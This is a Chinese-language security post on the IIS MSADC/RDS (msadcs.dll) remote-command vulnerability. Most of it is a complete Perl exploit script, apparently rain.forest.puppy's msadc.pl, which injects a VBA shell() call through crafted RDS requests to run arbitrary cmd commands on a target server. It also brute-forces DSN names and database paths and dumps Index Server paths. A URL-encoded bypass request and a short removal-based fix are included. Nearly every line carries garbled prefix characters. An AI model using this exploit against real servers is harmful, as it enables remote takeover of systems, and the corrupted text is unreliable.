IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
72<9xNcB!} 'n &p5% 涉及程序：
` ~GXK Microsoft NT server
B>2=IZ ^{Y, `F 描述：
V}E['fzBFV 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
o0H^J,6gV X|of87 详细：
>^Nnhnr 如果你没有时间读详细内容的话，就删除:
?%O>]s c:\Program Files\Common Files\System\Msadc\msadcs.dll
-)V0D,r$[ 有关的安全问题就没有了。
BZeE Z2" Y+-yIMt$r 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
o|xf2k S^QEc tXU 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
q\fbrv%I4 关于利用ODBC远程漏洞的描述，请参看:
!sT >]e K9<8FSn http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm a5a
;Fp (XZ[-M7 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
A4j ,]hOD http://www.microsoft.com/security/bulletins/MS99-025faq.asp r_7%|T8 P;5)Net1X 这里不再论述。
OM EwGr( NLs F6BX/- 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
wT@Z|.) M\1CDU+*Ns /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
g \aO:: 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Hh bBt'fH $(1t~u<17 {v"f){ #将下面这段保存为txt文件，然后: "perl -x 文件名"
:5kDc"
=Z| !? ,,
ZD #!perl
vl (``5{ #
1g;2e##) # MSADC/RDS 'usage' (aka exploit) script
}8O9WS #
}&v}S6T # by rain.forest.puppy
_/ >ktYo: #
"aGmv9 \ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
H1N@E}> | # beta test and find errors!
(kL "*y/"p @nH3nn use Socket; use Getopt::Std;
w-).HPe getopts("e:vd:h:XR", \%args);
jFQ y[k-B \' O/3Y7?X print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
)<x9 t@$ [}L?EM if (!defined $args{h} && !defined $args{R}) {
0:{ W
t print qq~
Bc=(1ty) Usage: msadc.pl -h <host> { -d <delay> -X -v }
@]Q4K%1^" -h <host> = host you want to scan (ip or domain)
xU;SRB -d <seconds> = delay between calls, default 1 second
0akJv^^D -X = dump Index Server path table, if available
l+;S$evY -v = verbose
<"Y>|X -e = external dictionary file for step 5
eD*7 64tG D0J{pAJ Or a -R will resume a command session
jOhAXe;~X{ `
nX, x-UM ~; exit;}
!.h{/37] h7]+#U]mi $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
49"C'n0wST if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
:(q4y-o6 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
W6?=9].gc if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
J.iz%8 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
N XB8u6 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Uw4 iWcC BA
a:!p if (!defined $args{R}){ $ret = &has_msadc;
=eA|gt die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
yzEyOz @Q EW$drY@ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Uz ;^R@ . "cmd /c ";
SFg4}*"C / $in=<STDIN>; chomp $in;
imOIO[<; $command="cmd /c " . $in ;
/ Xnq0hN or-k~1D if (defined $args{R}) {&load; exit;}
$HwF:L)* 091m$~r* print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
60{G
4b) &try_btcustmr;
oy VT jTwSyW print "\nStep 2: Trying to make our own DSN...";
<MEm+8e/s6 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
P$'PB*5d| TTG=7x: 3 print "\nStep 3: Trying known DSNs...";
CC^D4]ug &known_dsn;
MJX
ny4n % )V=)l.j print "\nStep 4: Trying known .mdbs...";
]Z b9F[ &known_mdb;
yBK$2 to~ .H|Z3d!Jj if (defined $args{e}){
:h@V,m Z print "\nStep 5: Trying dictionary of DSN names...";
w&@tP^` &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
[O r1 Q
& /5B print "Sorry Charley...maybe next time?\n";
c@>ztQU* exit;
KXMf2)p a i , ^-9 ##############################################################################
l LQcyi0 o?]Q&,tO sub sendraw { # ripped and modded from whisker
@<DRF P sleep($delay); # it's a DoS on the server! At least on mine...
:%sG'_d my ($pstr)=@_;
9>{ml&$ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
@+;. W>^h die("Socket problems\n");
.i\ FK@2 if(connect(S,pack "SnA4x8",2,80,$target)){
)pI( < select(S); $|=1;
G=qlE?j`j print $pstr; my @in=<S>;
/
0$ !. select(STDOUT); close(S);
'&Ur(axs return @in;
(bm>
)U= } else { die("Can't connect...\n"); }}
Dp ['U /'oo;e ##############################################################################
9ad`q+kY xkf2; sub make_header { # make the HTTP request
N-N]BS6 my $msadc=<<EOT
c vw17j POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
aVr(*s;/ User-Agent: ACTIVEDATA
gwNZ`_Q Host: $ip
>~d'i Content-Length: $clen
b!t[PShw^ Connection: Keep-Alive
# 2|biTJ 3]S_ w[Q4 ADCClientVersion:01.06
/ 8O=3 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
R?{_Q<17 tF[) Y# --!ADM!ROX!YOUR!WORLD!
m
+A4 aQ9 Content-Type: application/x-varg
5XT^K)' Content-Length: $reqlen
z81dm Y 4YZM EOT
$,Q] GIC ; $msadc=~s/\n/\r\n/g;
)fo0YpE^| return $msadc;}
JCxQENsVqB WBKf)A^S ##############################################################################
S9DXd]6q_ ;/NC[:'$D sub make_req { # make the RDS request
7 cV
G?Wr my ($switch, $p1, $p2)=@_;
+Zi+
/9Z(H my $req=""; my $t1, $t2, $query, $dsn;
)Q9Qo)D T = y^5PjN if ($switch==1){ # this is the btcustmr.mdb query
o(}%b8 K $query="Select * from Customers where City=" . make_shell();
8(ZQM01; $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
kjQW9QJ< $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
&qY]W=9uK XX-(>B0L elsif ($switch==2){ # this is general make table query
(k+*0.T&? $query="create table AZZ (B int, C varchar(10))";
Ay Uw $dsn="$p1";}
z}}P+P/ w\[l4|g ` elsif ($switch==3){ # this is general exploit table query
?9?A)?O<j~ $query="select * from AZZ where C=" . make_shell();
7oZ Pb $dsn="$p1";}
/7#MJH5b6 :}36;n<[' elsif ($switch==4){ # attempt to hork file info from index server
XR VZU~ZV $query="select path from scope()";
?(zCv9Pg $dsn="Provider=MSIDXS;";}
AP z "k?D0 1tO96t^d% elsif ($switch==5){ # bad query
v? 8i;[ $query="select";
6wT ])84 $dsn="$p1";}
/\Cf*cJ ;k0Jl0[} $t1= make_unicode($query);
.dYv.[?hL $t2= make_unicode($dsn);
zT}vaU 6 $req = "\x02\x00\x03\x00";
h#Rza-?"\ $req.= "\x08\x00" . pack ("S1", length($t1));
;d>n 2 $req.= "\x00\x00" . $t1 ;
G8' {nPA~ $req.= "\x08\x00" . pack ("S1", length($t2));
K:9AP{+ $req.= "\x00\x00" . $t2 ;
IkmEctAU $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
k|>yFc return $req;}
@}PXBU Fa `%MR1 ##############################################################################
Tei2[siA5 7L:Eg sub make_shell { # this makes the shell() statement
,_$J-F? return "'|shell(\"$command\")|'";}
]}Ys4(} WnGi;AGH=1 ##############################################################################
~u!V_su]GY ?zP
2
sub make_unicode { # quick little function to convert to unicode
t+ d7{&B my ($in)=@_; my $out;
[&P @0F n for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Fnk@)1 return $out;}
3 ;" [WOv 3st?6?7| ##############################################################################
A *:| d~ ,gpEXU p\ sub rdo_success { # checks for RDO return success (this is kludge)
;`xCfOY( my (@in) = @_; my $base=content_start(@in);
RIUJX{? if($in[$base]=~/multipart\/mixed/){
NKEmY-f; return 1 if( $in[$base+10]=~/^\x09\x00/ );}
0datzEn s` return 0;}
"{+2Q y(iq ##############################################################################
->OVNmCB`+ t@R n#(~" sub make_dsn { # this makes a DSN for us
\7h>9}wGf my @drives=("c","d","e","f");
DC_uh print "\nMaking DSN: ";
`e;r$Vpd_ foreach $drive (@drives) {
2 ::YR? print "$drive: ";
+qpG$#J 0 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
, K@[+ R! "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
LRWM}'.s . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
[X /s^42 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
z3 ^_C`(F return 0 if $2 eq "404"; # not found/doesn't exist
'aV'Am+: if($2 eq "200") {
5~UW=
foreach $line (@results) {
^kC!a> & return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
.>r3ZwrE' } return 0;}
`#<UsU,~Lu ?vbAaRg50s ##############################################################################
9 iJ$M! Nw9:Gi sub verify_exists {
# X1a v my ($page)=@_;
7.
$wK. my @results=sendraw("GET $page HTTP/1.0\n\n");
7*M-? return $results[0];}
_UZ PQ[ N)D+FV29y ##############################################################################
a {x3FQ ?zC{T*a sub try_btcustmr {
,) dlL tUm my @drives=("c","d","e","f");
IIT [^_g my @dirs=("winnt","winnt35","winnt351","win","windows");
RhB)AUAj %r h ZH^2 foreach $dir (@dirs) {
p-\->_9)y` print "$dir -> "; # fun status so you can see progress
D/"vel V foreach $drive (@drives) {
5|r*,! CF print "$drive: "; # ditto
J,?F+Qji&= $reqlen=length( make_req(1,$drive,$dir) ) - 28;
U8N X%*oW $reqlenlen=length( "$reqlen" );
LauGT * z! $clen= 206 + $reqlenlen + $reqlen;
1MO- 60 - >?tB1}^ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
w
oIZFus if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
?%~^PHgZ| else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
L#'XN H" v,*C>u\3s ##############################################################################
g5pFr=NV jTg~]PQ^ sub odbc_error {
5_](N$$ my (@in)=@_; my $base;
d^M*%a z my $base = content_start(@in);
1anh@T. if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
479X5Cl $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
N2HD=[*cr $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
= #pYd~ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
PC L
;Z return $in[$base+4].$in[$base+5].$in[$base+6];}
$v#`2S(7 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
&L+.5 i print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
7q;`~tbC $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
m44a HBwId EAXl.Y.
$ ##############################################################################
ZC Z@ZN 4'`P+p"A sub verbose {
i\^4EQ my ($in)=@_;
S2\;\?]^~ return if !$verbose;
5rbb
,* print STDOUT "\n$in\n";}
%GY'pQz })70S8k ##############################################################################
f@hM ^% c'3N;sZ*B sub save {
ZB)R4 my ($p1, $p2, $p3, $p4)=@_;
? _bFe![q open(OUT, ">rds.save") || print "Problem saving parameters...\n";
iSoQ1#MP)2 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
XKws_ close OUT;}
u;t~
z Z|x|8 !D ##############################################################################
573,b7Yf %1jcY0zEQ sub load {
pZ \7!rON my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
T^`; wD open(IN,"<rds.save") || die("Couldn't open rds.save\n");
li\=mH,Wr @p=<IN>; close(IN);
lqMr@
: t $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
6i+,/v r $target= inet_aton($ip) || die("inet_aton problems");
-3) jUzD print "Resuming to $ip ...";
o<3$ |`S& $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
$Z;/ Sh if($p[1]==1) {
; >5` Y8s6 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
MI r +4L $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
N%Ta. `r my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
%c\k LSe if (rdo_success(@results)){print "Success!\n";}
*5k40?w else { print "failed\n"; verbose(odbc_error(@results));}}
]OdZlZBsJ elsif ($p[1]==3){
Q0K$ZWM`7 if(run_query("$p[3]")){
.?QYqGcG print "Success!\n";} else { print "failed\n"; }}
N2'aC}
I elsif ($p[1]==4){
%>=6v} f,+ if(run_query($drvst . "$p[3]")){
YK6'/2! print "Success!\n"; } else { print "failed\n"; }}
$qYP|W exit;}
F{a;=h#@Q v
;}s`P\" ##############################################################################
EZ|v,1`e pk.\IKl G] sub create_table {
P$k*!j_W my ($in)=@_;
J+E,Ui ZU $reqlen=length( make_req(2,$in,"") ) - 28;
}]mx Kz $reqlenlen=length( "$reqlen" );
Kd^.>T- $clen= 206 + $reqlenlen + $reqlen;
1F5KDWtE my @results=sendraw(make_header() . make_req(2,$in,""));
[H <Tc T8 return 1 if rdo_success(@results);
M :}u| my $temp= odbc_error(@results); verbose($temp);
b= /'c Q return 1 if $temp=~/Table 'AZZ' already exists/;
Wpl/CO 5z return 0;}
HW~-GcU-o 7LrmI~P ##############################################################################
kO3 \v)B; Pb8@owG8 sub known_dsn {
kq5X<'MM9N # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
P* `*^r3 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
1,;X4/* "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
jmk Ou5@ "banner", "banners", "ads", "ADCDemo", "ADCTest");
KB](W 9ZJ 8QH foreach $dSn (@dsns) {
\z0HH Cn'" print ".";
zX&SnT1~ next if (!is_access("DSN=$dSn"));
?BfE*I$\h if(create_table("DSN=$dSn")){
(V jU ,'h print "$dSn successful\n";
1\&j)3mC if(run_query("DSN=$dSn")){
X@DW1<wEt print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
jO&*E 'pk print "Something's borked. Use verbose next time\n";}}} print "\n";}
9ET1Er{4 0(eaVi-%D ##############################################################################
h5@G eYda gd*Gn" sub is_access {
4_=2|2Wz[ my ($in)=@_;
_#:/ ~Jp $reqlen=length( make_req(5,$in,"") ) - 28;
h.PBe $reqlenlen=length( "$reqlen" );
V9v20iX $clen= 206 + $reqlenlen + $reqlen;
XhM!pSl\ my @results=sendraw(make_header() . make_req(5,$in,""));
pzz* >Y my $temp= odbc_error(@results);
87 s *lS verbose($temp); return 1 if ($temp=~/Microsoft Access/);
!>`Fg>uy return 0;}
JaRsm'SIk~ |M?vFF]TN ##############################################################################
b[<RcM{r} ~.%HZzR6& sub run_query {
=otO@22Np my ($in)=@_;
, [|aWT%9 $reqlen=length( make_req(3,$in,"") ) - 28;
ZKrLp8l\ $reqlenlen=length( "$reqlen" );
- U=Ci $clen= 206 + $reqlenlen + $reqlen;
@9B *V~ < my @results=sendraw(make_header() . make_req(3,$in,""));
\CMZ_%~wU return 1 if rdo_success(@results);
A<X?1$ my $temp= odbc_error(@results); verbose($temp);
O9sEaVX return 0;}
\uJRjw+ Q# B0JT1 ##############################################################################
t+8e ?=" \c:$ eF sub known_mdb {
PVo7Sy!'H my @drives=("c","d","e","f","g");
l&q nqmW< my @dirs=("winnt","winnt35","winnt351","win","windows");
ai/|qYf my $dir, $drive, $mdb;
_VK I@ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
*i]?J V]p{j LG # this is sparse, because I don't know of many
Mu? |<#s my @sysmdbs=( "\\catroot\\icatalog.mdb",
IFp%T a "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
{6zNCO "\\system32\\certmdb.mdb",
5 aA*
~\ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
hGz_ F/ K p`{-dUf my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
\EySKQ= "\\cfusion\\cfapps\\forums\\forums_.mdb",
C 1k< P "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
#s\@fp7A "\\cfusion\\cfapps\\security\\realm_.mdb",
L"m^LyU "\\cfusion\\cfapps\\security\\data\\realm.mdb",
QJVbt "\\cfusion\\database\\cfexamples.mdb",
G@k]rw ub "\\cfusion\\database\\cfsnippets.mdb",
-r={P _E6 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
X/,) KTo7 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
}4A] x`3 "\\cfusion\\brighttiger\\database\\cleam.mdb",
>[ fu&r1 "\\cfusion\\database\\smpolicy.mdb",
ef7{D
P "\\cfusion\\database\cypress.mdb",
@ KQ.t F* "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
gJ
\6cZD "\\website\\cgi-win\\dbsample.mdb",
SMX]JZmH "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
N ,Eap KG "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
mn/)_1', ); #these are just
. 5( YL 8d foreach $drive (@drives) {
K& #il foreach $dir (@dirs){
t*gZcw5 r foreach $mdb (@sysmdbs) {
.S/ 5kL ul print ".";
!bE -&c if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
6Wu*zY_+ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
e73=*~kfR if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
^m |@pp print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
_} R[mr/ } else { print "Something's borked. Use verbose next time\n"; }}}}}
zt( lV 6:ettdj foreach $drive (@drives) {
mM,HMrgLqK foreach $mdb (@mdbs) {
q>$MqKWM print ".";
51jgx,-|$ if(create_table($drv . $drive . $dir . $mdb)){
[ 7Lr" print "\n" . $drive . $dir . $mdb . " successful\n";
q!$s<n if(run_query($drv . $drive . $dir . $mdb)){
bhqSqU}6~ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
i2,4:M)CV } else { print "Something's borked. Use verbose next time\n"; }}}}
1RRE{]2v# }
Y![Q 1D!
7IX8ck[D ##############################################################################
v>8C}d^ OETo?Wg1Z sub hork_idx {
3p 0v print "\nAttempting to dump Index Server tables...\n";
>h\y1IrAaG print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
$ DL}jH^S $reqlen=length( make_req(4,"","") ) - 28;
q[&Kr+)j $reqlenlen=length( "$reqlen" );
_K^Q]V[nZ $clen= 206 + $reqlenlen + $reqlen;
0bT j/0G? my @results=sendraw2(make_header() . make_req(4,"",""));
s1:Wrz? 4 if (rdo_success(@results)){
u 272)@R my $max=@results; my $c; my %d;
Bf ut mI for($c=19; $c<$max; $c++){
paqGW ] $results[$c]=~s/\x00//g;
*N">93: $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
= ;rLv7(a $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
SqM>x m $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
0q }i5%m7 $d{"$1$2"}="";}
h?mDtMCw2 foreach $c (keys %d){ print "$c\n"; }
S,m( } else {print "Index server doesn't seem to be installed.\n"; }}
5\+*ml +A|
Bc~2! ##############################################################################
2S?7j[@%i` >,e^}K}C sub dsn_dict {
}[A aI # open(IN, "<$args{e}") || die("Can't open external dictionary\n");
u <-)C)z while(<IN>){
n{tc{LII/ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
$.PRav next if (!is_access("DSN=$dSn"));
RM;a]g* if(create_table("DSN=$dSn")){
g#5R|| r print "$dSn successful\n";
}"D;?$R! if(run_query("DSN=$dSn")){
-?Cr&!*B print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
G:AA>t print "Something's borked. Use verbose next time\n";}}}
5\Q Tm; print "\n"; close(IN);}
p*;!5;OUR 'nCVjO7o ##############################################################################
d^ C@5Pd
< [wGj?M} sub sendraw2 { # ripped and modded from whisker
%K6veB{M sleep($delay); # it's a DoS on the server! At least on mine...
c1#0o) q*7 my ($pstr)=@_;
}`uyOgGg* socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Q5,zs_j die("Socket problems\n");
3\7MeG`tl if(connect(S,pack "SnA4x8",2,80,$target)){
'+88UFSq5 print "Connected. Getting data";
$ev+0m_ open(OUT,">raw.out"); my @in;
B qf(6\)F select(S); $|=1; print $pstr;
w*F[[*j@. while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
C[J9 =!t close(OUT); select(STDOUT); close(S); return @in;
/<rv aR } else { die("Can't connect...\n"); }}
{wqT$( (< bb6x} jR ##############################################################################
(GJtTp~2C4 _Mw3>GNl sub content_start { # this will take in the server headers
OoB|Eh|), my (@in)=@_; my $c;
eZ' 8JU] for ($c=1;$c<500;$c++) {
L'+bVP{L if($in[$c] =~/^\x0d\x0a/){
]
ZV[}7I. if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
[`n_> p! else { return $c+1; }}}
=U]9> return -1;} # it should never get here actually
gRLt0&Q~ qM\
2f<) ##############################################################################
^^a6 (b .5|[gBK sub funky {
>?$2`I my (@in)=@_; my $error=odbc_error(@in);
s s cbf if($error=~/ADO could not find the specified provider/){
5YY5t^T print "\nServer returned an ADO miscofiguration message\nAborting.\n";
:""H yjY! exit;}
\5ls
<=S. if($error=~/A Handler is required/){
n7t}G'*Y!^ print "\nServer has custom handler filters (they most likely are patched)\n";
_.5{vGyxr exit;}
'OY4Q 'Z if($error=~/specified Handler has denied Access/){
&Hoc`u print "\nServer has custom handler filters (they most likely are patched)\n";
>h7(kj : exit;}}
yE:y[k0E j~q 7v
`": ##############################################################################
y=Y k$:-y Zx ebv# 4 sub has_msadc {
.n8R%|C5 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
DQG%`-J my $base=content_start(@results);
G c V/_Y return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
btW#ebm return 0;}
PmuG(qg 20c5U% ########################
+Mo4g2W 7`|'Om?' |Z:yd}d 解决方案：
> Pw5! i\ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
YV IE v 2、移除web 目录: /msadc
